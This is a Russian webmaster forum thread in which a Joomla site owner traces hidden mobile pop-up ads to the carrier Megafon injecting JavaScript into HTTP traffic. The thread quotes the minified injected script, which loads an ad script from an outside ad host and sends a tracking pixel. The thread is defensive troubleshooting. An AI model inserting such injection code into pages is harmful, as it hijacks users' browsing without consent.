Скрытая реклама на сайте - Форум об интернет-маркетинге
Этот сайт существует на доходы от рекламы.
Пожалуйста, выключите AdBlock.
Вернуться   Форум об интернет-маркетинге > >
Ответ
 
Опции темы
Старый 10.04.2018, 14:33   #1
Студент
 
Аватар для Sam18
 
Регистрация: 14.11.2012
Адрес: Серпухов
Сообщений: 21
Репутация: 10

По умолчанию Скрытая реклама на сайте

Здравствуйте. Прошу помощи.
На joomla 3.6 после установки компонента появилась скрытая реклама, которая отображается только на мобильных устройствах и не каждый раз (у сайта адаптивный дизайн). Периодически при появлении объявления (всплывающего) выскакивает на странице сайте вот такой код:
Цитата:
fr_13_1.onresize = function(){ frm=top.document.getElementById('div-mb-native-1-47').getElementsByTagName('iframe'); frmh=frm[1].height; frm[1].style.removeProperty('height');frm[1].style.setProperty('height',frmh+'px','important'); frmh=frm[1].width; frm[1].style.removeProperty('width');frm[1].style.setProperty('width',frmh+'px','important'); } ; googletag.cmd.push(function() { googletag.display('div-mb-native-1-47' ); });

Реклама
Как я понимаю я поймал вирус, который периодически показывает рекламу от Google Adwords. Найти его в файлах сайта не смог...
Прошу помочь с решение проблемы.
Спасибо!
Sam18 вне форума   Ответить с цитированием

Реклама
Старый 10.04.2018, 14:57   #2
Samail
Академик
 
Аватар для Samail
 
Регистрация: 10.05.2007
Сообщений: 2,732
Репутация: 270709

По умолчанию Re: Скрытая реклама на сайте

В файлах он может зашифрован быть, для начала вот этим проверь: https://revisium.com/ai/
Samail вне форума   Ответить с цитированием
Старый 10.04.2018, 15:01   #3
Sam18
Студент
 
Аватар для Sam18
 
Регистрация: 14.11.2012
Адрес: Серпухов
Сообщений: 21
Репутация: 10

ТопикСтартер Re: Скрытая реклама на сайте

Цитата:
Сообщение от Samail Посмотреть сообщение
В файлах он может зашифрован быть, для начала вот этим проверь: https://revisium.com/ai/
Вот только что попробовал. Ругается на только на один файл, вот с таким кодом:
Цитата:
function textVersion($html){

$html = preg_replace('# +#',' ',$html);
$html = str_replace(array("\n","\r","\t"),'',$html);
$removeScript = "#< *script(??!< */ *script *>).)*< */ *script *>#isU";
$removeStyle = "#< *style(??!< */ *style *>).)*< */ *style *>#isU";
$removeStrikeTags = '#< *strike(??!< */ *strike *>).)*< */ *strike *>#iU';
$replaceByTwoReturnChar = '#< *(h1|h2)[^>]*>#Ui';
$replaceByStars = '#< *li[^>]*>#Ui';
$replaceByReturnChar1 = '#< */ *(li|td|tr|div|p)[^>]*> *< *(li|td|tr|div|p)[^>]*>#Ui';
$replaceByReturnChar = '#< */? *(br|p|h1|h2|h3|li|ul|h4|h5|h6|tr|td|div)[^>]*>#Ui';
$replaceLinks = '/< *a[^>]*href *= *"([^"]*)"[^>]*>(.*)< *\/ *a *>/Uis';
$text = preg_replace(array($removeScript,$removeStyle,$removeStrikeTags,$replaceByTwoReturnChar,$replaceByStars,$replaceByReturnChar1,$replaceByReturnChar,$replaceLinks),array('','','',"\n\n","\n* ","\n","\n",'${2} ( ${1} )'),$html);
$text = str_replace(array(" ","&nbsp;"),' ',strip_tags($text));
$text = trim(@html_entity_decode($text,ENT_QUOTES,'UTF-8'));
$text = preg_replace('# +#',' ',$text);
$text = preg_replace('#\n *\n\s+#',"\n\n",$text);
return $text;
}
Sam18 вне форума   Ответить с цитированием
Старый 10.04.2018, 15:15   #4
Samail
Академик
 
Аватар для Samail
 
Регистрация: 10.05.2007
Сообщений: 2,732
Репутация: 270709

По умолчанию Re: Скрытая реклама на сайте

Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.

---------- Добавлено 10.04.2018 в 22:16 ----------

Или из дампа сайт восстанови если имеется.
Samail вне форума   Ответить с цитированием
Старый 10.04.2018, 15:22   #5
Sam18
Студент
 
Аватар для Sam18
 
Регистрация: 14.11.2012
Адрес: Серпухов
Сообщений: 21
Репутация: 10

ТопикСтартер Re: Скрытая реклама на сайте

Цитата:
Сообщение от Samail Посмотреть сообщение
Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.
Спасибо большое, буду пробовать!
Sam18 вне форума   Ответить с цитированием
Старый 11.04.2018, 10:42   #6
SeVlad
Guru-Editor
 
Регистрация: 03.11.2008
Адрес: Donbass
Сообщений: 15,182
Репутация: 1343393

По умолчанию Re: Скрытая реклама на сайте

Цитата:
Сообщение от Sam18 Посмотреть сообщение
Ругается на только на один файл, вот с таким кодом:
Не расшифровывал, но по виду - гадость. Нормальный код (и кодер) такого себе не позволит.
__________________
Ⓦ Не халява, но за бесплатно: хорошие сайты для эксперимента с 2мя протоколами. Первый пошел.
Помощь по Вордпрессу и основы безопасности сайтов.
*** Помощь\консультации в топиках форума - БЕСПЛАТНО. Через личку - с бюджетом от 50$ ***
SeVlad вне форума   Ответить с цитированием
Старый 11.04.2018, 13:28   #7
Sam18
Студент
 
Аватар для Sam18
 
Регистрация: 14.11.2012
Адрес: Серпухов
Сообщений: 21
Репутация: 10

ТопикСтартер Re: Скрытая реклама на сайте

Цитата:
Сообщение от Samail Посмотреть сообщение
Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.

---------- Добавлено 10.04.2018 в 22:16 ----------

Или из дампа сайт восстанови если имеется.
Разобрался я.....Мегафон подменяет js скрипты при использовании мобильного интернета (только по http). Вставляет вот такой код:
Цитата:
!function(){function e(e){var n="",t="?";for(var r in e){var o=e[r],a="boolean"==typeof o?o?r:null;a&&(n+=t+"cv[]="+encodeURIComponent(a),t="&")}(new Image).src="http://d.mobilebanner.ru/p.gif"+n}function n(){try{return window.self!==window.top}catch(e){return!0}}function t(){var e=document.getElementsByTagName("head")[0],n=document.createElement("script");n.src="http://p.mobilebanner.ru/ad/base.js?",n.type="text/javascript",e.appendChild(n)}function r(e){c.parentNode.insertBefore(e,c.nextSibling)}function o(e){document.write(e.outerHTML)}function a(){for(var e=document.createElement("script"),n=Array.prototype.slice.call(c.attributes),t=0;t<n.length;t++)e.setAttribute(n[t].nodeName,n[t].nodeValue);return e.src="http://mypizza-1.ru/media/j2store/js/j2store.namespace.js?",e}var c=document.currentScript||document.scripts[document.scripts.length-1],i=a();c.async||c.defer?r(i)(i);var d,u=n();window.__qsrad||u?d={iframe:u,bannerAlready:window.__qsrad}window.__qsrad=1,d={bannerShow:!0},t()),e(d)}();
Получается что эта реклама привязана к номеру телефона, и чтобы отключить показ баннерной рекламы от мегафона и его партнеров при использовании мобильного интернета нужно идти в салон или звонить в call центр.
Вот такой вот ......Мегафон....Из-за него два дня впустую.....
Sam18 вне форума   Ответить с цитированием
Старый 12.04.2018, 09:19   #8
SeVlad
Guru-Editor
 
Регистрация: 03.11.2008
Адрес: Donbass
Сообщений: 15,182
Репутация: 1343393

По умолчанию Re: Скрытая реклама на сайте

Цитата:
Сообщение от Sam18 Посмотреть сообщение
Мегафон
https://searchengines.guru/showthrea...2#post15513392

и не только мегафон.
SeVlad вне форума   Ответить с цитированием
Ответ




Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Текущее время: 20:21. Часовой пояс GMT +3.

Регистрация Справка Календарь Поддержка Все разделы прочитаны